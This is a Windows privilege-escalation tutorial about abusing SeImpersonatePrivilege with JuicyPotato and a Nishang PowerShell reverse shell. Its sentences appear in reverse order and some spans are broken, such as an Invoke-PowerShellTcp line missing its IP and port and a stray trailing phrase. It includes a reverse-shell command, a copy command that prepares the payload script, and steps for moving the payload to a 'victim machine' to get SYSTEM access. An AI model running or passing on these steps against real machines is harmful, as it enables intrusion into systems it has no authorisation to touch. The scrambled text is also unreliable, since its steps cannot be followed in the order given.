Invoke-PowerShellTcp -Reverse -IPAddress -Port Doing this will not only load the modules into the PowerShell session when called upon, but it will also execute them so that a reverse shell connection can establish. Then, let’s make a slight modification to the script and add the following line to the bottom.

Sudo cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1 With the contents of this repo stored in your /opt directory, let’s copy the Invoke-PowerShellTcp.ps1 script to our present working directory as rev.ps1. If you do not have this downloaded, you can get it from the following Github page: However in this example, I’m going to use a PowerShell Nishang reverse shell. You can learn how to generate these by visiting my MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter). This could be many different things, but a common example would be a reverse shell payload. This means that in addition to the JuicyPotato.exe exploit, we’ll also need our own malicious file that we wish to execute. This attack will allow us to run executables as the SYSTEM level process. Perfect! We should be ready to perform the attack. Once its present on the target system, running the executable should return the following help documentation. Feel free to review the options at my Windows File Transfer Cheatsheet. lets transfer it to our victim machine using your favorite method. You can get the latest version by navigating to the following Github page, and clicking on Releases. Great! Lets go out and download our exploit. Let’s start by checking what privileges our user has.īased on the return output, we can confirm that we have the correct privileges to abuse this vulnerability. Verifying Permissions and Downloading Exploit Verifying Permissions and Downloading Exploit.If you have the SeImpersonatePrivilege, there is a very simply attack vector that you can leverage to gain SYSTEM level access. When you’ve found yourself as a low-level user on a Windows machine, it’s always worthwhile to check what privileges your user account has.

Netcat windows github